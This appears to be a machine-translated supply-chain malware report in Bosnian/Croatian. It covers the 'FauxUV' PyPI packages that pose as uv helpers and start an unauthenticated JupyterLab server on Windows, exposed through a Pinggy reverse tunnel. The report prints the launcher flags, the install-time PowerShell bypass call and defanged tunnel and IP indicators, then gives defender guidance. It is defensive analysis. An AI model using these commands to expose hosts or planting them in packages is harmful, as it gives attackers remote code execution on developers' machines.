TL; DR
Klaster PyPI paketa je posudio ime uv, brzi, izuzetno popularni Python upravitelj paketa zasnovan na Rustu, da se predstavljaju kao UV pomagači. Oni ne isporučuju gotovo nikakvu stvarnu funkcionalnost. Umjesto toga, oni nose Windows payload koji može podnijeti... JupyterLab server sa isključenom autentifikacijom a u kasnijim verzijama objavljuje ga na javnom internetu putem obrnutog tunela.
To je cijela priča u jednoj rečenici: ime pouzdanog alata kao mamac, i JupyterLab kao mehanizam za udaljeno izvršavanje koda. Jupyter server pokreće bilo koji kod koji unesete u notebook ćelija; ona pokrenuta s praznim tokenom i vezana za svaki mrežni interfejs je otvoreni interpreter kojim može upravljati svako ko može doći do porta.
Pratimo klaster kao Lažni UVDva pregledana paketa su moon-uv (0.0.1 – 0.0.16) i my-magic-uv-helper (0.0.1), objavljen od strane istog operatera i aktivan na PyPI u vrijeme analize.
| Ekosistem | PyPI |
| paketi | moon-uv (0.0.1 – 0.0.16), my-magic-uv-helper (0.0.1) |
| Ciljana platforma | Windows |
| Osnovno ponašanje | Neautentificirani JupyterLab server, objavljen na internetu putem obrnutog tunela |
| Zloupotreba legitimnih alata | UV, JupyterLab, cloudflared, Pingy |
Mamac: ime kojem već vjerujete
uv je jedan od najčešće instaliranih Python alata u posljednje dvije godine, tako da je „pomoć za uv" je paket koji programer instalira bez razmišljanja. FauxUV u potpunosti zasniva svoj kredibilitet na tom imenu. Paketi obavijaju pravi uv instalacijski program od Astrala — URL-ovi u paketu upućuju na stvarne, ugledne hostove — tako da brzi pogled ne vidi ništa osim pouzdanih referenci. Nijedan od paketa zapravo ne dodaje uv funkcionalnost; ime je cijela maska.
JupyterLab kao RCE mehanizam
Središnji dio korisnog tereta je lanser koji pokreće JupyterLab nakon što su uklonjene sve zaštitne ograde:
jupyter server --with jupyterlab --ip=0.0.0.0 # listen on every interface --ServerApp.token="" # no password, no token --allow_origin='*' # accept cross-origin connections --disable_check_xsrf # allow a remote browser/WebSocket to drive it Svaka zastavica uklanja zaštitu, a isporučeni skript ih čak i anotira (na originalnom kineskom): prazan token "isključuje provjere lozinki i tokena — svako se može povezati." jupyter lab je legitimno IDE za nauku o podacima, ali neebook Ćelija izvršava proizvoljni kod po narudžbi. Konfigurisana na ovaj način i vezana za 0.0.0.0, prestaje biti IDE i postaje neautentificirana udaljena ljuska na hostu - nije potreban prilagođeni binarni fajl zlonamjernog softvera, samo mainstream alat usmjeren u pogrešnom smjeru.
Dva pomoćna elementa čine to dostižnim i ponovljivim:
- Okidač za tihu instalaciju. Rane verzije pokreću PowerShell sa -ExecutionPolicy Bypass ravno iz setup.py on pip install, u pozadini sa potisnutim greškama tako pipa izgleda normalno. Kasnije verzije premještaju istu primitivu u pip-uv alat komandne linije — i potpuno izbacite automatsko pokretanje prilikom instalacije.
- Javni obrnuti tunel. Server na 0.0.0.0 je i dalje dostupan samo hostovima koji mogu usmjeriti vezu do mašine. U paketu se nalazi modul koji otvara [Pinggy](https://pinggy.io/) SSH obrnuti tunel koji prosljeđuje lokalni Jupyter port na javnu adresu, uklanjajući to ograničenje. Isporučeni skript također nosi - komentirano - alternativnu putanju koristeći Cloudflareov cloudflared i netsh port-proxy na Linode IP adresu, dokumentirajući isti cilj kroz različitu infrastrukturu.
Spojite to ovako: instalirajte paket i Windows host će pokrenuti JupyterLab bez lozinke i objaviti ga na otvorenom internetu.
Kako je FauxUV evoluirao
Verzije FauxUV-a su se isporučivale u brzom slijedu, a okidačka tačka korisnog tereta se pomjerala preko njih - podsjetnik da jedna označena verzija rijetko priča cijelu priču o liniji paketa.
| faza | verzije | okidač | Šta dodaje |
|---|---|---|---|
| Install-hook | moon-uv 0.0.1–0.0.3 my-magic-uv-helper 0.0.1 | setup.py prilikom instalacije pipa | uv instalacija + PATH dodavanje na početak |
| CLI-izvršavanje | moon-uv 0.0.5-0.0.13 | pip-uv naredba | pokretač JupyterLab-a bez lozinke |
| tunel | moon-uv 0.0.14-0.0.16 | pip-uv naredba | aktivni obrnuti tunel Pinggy |
Važno je napomenuti da je automatsko pokretanje prilikom instalacije bilo udaljen u kasnijim, sposobnijim verzijama - tako da se skener aktivira samo tokom životnog ciklusa hooks bi ocijenio novija izdanja kao manje rizično, tačno obrnuto.
Indikatori kompromisa
Potvrđeno čitanjem izvornog koda paketa; krajnje tačke označene Komentarisao su prisutni u datotekama, ali ih analizirana verzija ne izvršava. Mrežni indikatori su defaultirani.
| tip | pokazatelj |
|---|---|
| Install command | powershell -ExecutionPolicy Bypass dohvaćanje originalnog UV instalatora, tokom instalacije PIP-a |
| JupyterLab zastavice | --ip=0.0.0.0 --ServerApp.token="" --allow_origin='*' --disable_check_xsrf |
| Obrnuti tunel (aktivan) | free[.]pinggy[.]io:443 prosljeđivanje lokalnog 127.0.0.1:8888 |
| Domaćin tunela (komentar) | cloudflared tunnel --url hxxp://127[.]0[.]0[.]1:2718 |
| IP (komentar) | 45[.]79[.]134[.]161 (Linode) putem netsh port-proxy |
| upornost | dodaje na početak %USERPROFILE%\.local\bin do korisnika PATH |
Signali ponašanja na koje vrijedi upozoriti, neovisno o ovim tačnim nizovima znakova: a pip install koji se mrijesti powershell -Zaobilaženje izvršnih politikabilo koji jupyter kombiniranje pokretanja token=”” sa –ip=0.0.0.0i odlazni SSH prema *.pinggy.io od programera ili CI mašine.
Uočeno ponašanje i porijeklo
Dva paketa dijele autora i metodu: naziv pouzdanog alata, ograničavanje pristupa samo za Windows, izvršavanje u pozadini sa suzbijanjem grešaka i oslanjanje na renomirane alate tako da brzim pregledom vidite samo renomirane URL-ove. Izvor sadrži komentare na kineskom jeziku koji jasno opisuju sigurnosno relevantne zastavice; mi ih u datoteci prikazujemo kao uočljive izjave, a ne kao tvrdnju o motivu. allow_origin vrijednost i a colab.bat Naziv datoteke odražava neformalne tokove rada "podijeli moj lokalni runtime" koji cirkuliraju za Google Colab. Bez obzira na porijeklo, zapakirani rezultat je isti.
Uticaj i smjernice za branioce
Ko je izložen FauxUV zračenju. Windows programeri i CI rukovodioci koji pip install jedan od ovih paketa. JupyterLab bez lozinke na 0.0.0.0 je udaljeno izvršavanje koda za svakoga ko može pristupiti portu; tunel uklanja ograničenje "ko može pristupiti". Server se pokreće kao korisnik koji instalira, nasljeđujući datoteke, tokene i cloud akreditive tog korisnika.
Zašto je lako promašiti. Svaki mrežni niz ukazuje na renomiranog hosta — Astral, JupyterLab, cloudflared, Pinggy, Colab. Ne postoji binarni kod zlonamjernog softvera za heširanje niti obfusirani blob za dekodiranje. Skeniranje zasnovano na reputaciji i potpisima podcjenjuje ovo, zbog čega je pitanje ponašanja - Šta instalacija ovog paketa radi na mašini — je onaj koji ga hvata.
Uputstvo:
- Tretirajte bilo koje vrijeme instalacije powershell -Zaobilaženje izvršnih politika kao signal za prekid izgradnje, bez obzira na URL koji dohvati.
- Upozorenje uključeno jupyter pokrenuto sa praznim tokenom i –ip=0.0.0.0; ta kombinacija se nikada ne bi trebala pojaviti na radnoj stanici ili trkaču.
- Praćenje odlaznih SSH-ova ka provajderima tunela (*.pinggy.io, *.trycloudflare.com) iz razvojnih i CI okruženja.
- Instaliraj uv iz [njegovog službenog izvora](https://docs.astral.sh/uv/) i budite skeptični prema "pomoćnim" paketima trećih strana koji obavijaju alat koji je već jednostavan za instalaciju.
- Zakačite i ponovo pregledajte zavisnosti prilikom nadogradnje — linija paketa može proširiti novu mogućnost verziju po verziji.



